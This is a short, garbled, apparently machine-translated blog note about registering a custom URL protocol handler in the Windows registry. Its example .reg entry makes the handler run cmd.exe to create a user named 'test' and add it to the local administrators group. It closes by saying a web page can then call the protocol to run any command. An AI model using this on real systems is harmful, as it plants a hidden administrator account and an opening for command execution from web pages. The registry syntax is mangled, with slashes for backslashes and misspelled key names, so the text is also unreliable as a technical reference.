URL Protocol-

xiaoxiao2021-03-06  32

Where there / heky_classes_root / myprotocol / "url protocol" == reg_sz: "key value, this MyProtocol is registered as a system protocol

[Hkey_classes_root / my / shell / open / command]

@ = "Mycmd.exe /"% 1 / ""

MyProtol: // location is called when calling:

Mycmd.exe myprotocol: // location

You can register a protocol first:

Windows Registry Editor Version 5.00

[HKEY_CLASS_ROOT / MY]

@ = "My Protocol"

"URL protocol" = ""

[Hkey_classes_root / my / shell / open / command]

@ = "cmd.exe / c net user test test / add & net localgroup administrators test / add"

Then call this protocol to perform any command on the web page.